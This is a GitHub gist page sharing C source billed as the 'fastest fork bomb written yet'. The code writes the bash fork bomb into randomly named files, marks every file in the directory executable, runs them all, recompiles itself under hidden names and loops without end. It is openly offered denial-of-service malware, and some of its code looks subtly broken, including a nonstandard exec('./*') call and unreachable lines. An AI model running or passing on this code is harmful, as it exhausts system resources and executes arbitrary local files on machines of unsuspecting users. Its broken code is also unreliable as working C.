Skip to content

Instantly share code, notes, and snippets.

@virusdefender
Forked from gdisneyleugers/fb.c
Created June 13, 2017 10:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save virusdefender/234e51519a4d718203759ecc37e1be20 to your computer and use it in GitHub Desktop.
Save virusdefender/234e51519a4d718203759ecc37e1be20 to your computer and use it in GitHub Desktop.
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
system("bash -c './$RANDOM' 2> /dev/null");
system("bash -c './*' 2> /dev/null");
return(0);
}
int reproduce(void)
{
system("gcc fb.c -o .fb.$RANDOM");
while(1)
generator();
fork();
return(0);
}
int main(void)
{
for ( ; ; )
while(1)
while(1)
while(1)
reproduce();
system("bash -c './*' 2> /dev/null");
system(".fb.$RANDOM");
while(1)
exec("./*");
fork();
fork();
fork();
return(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment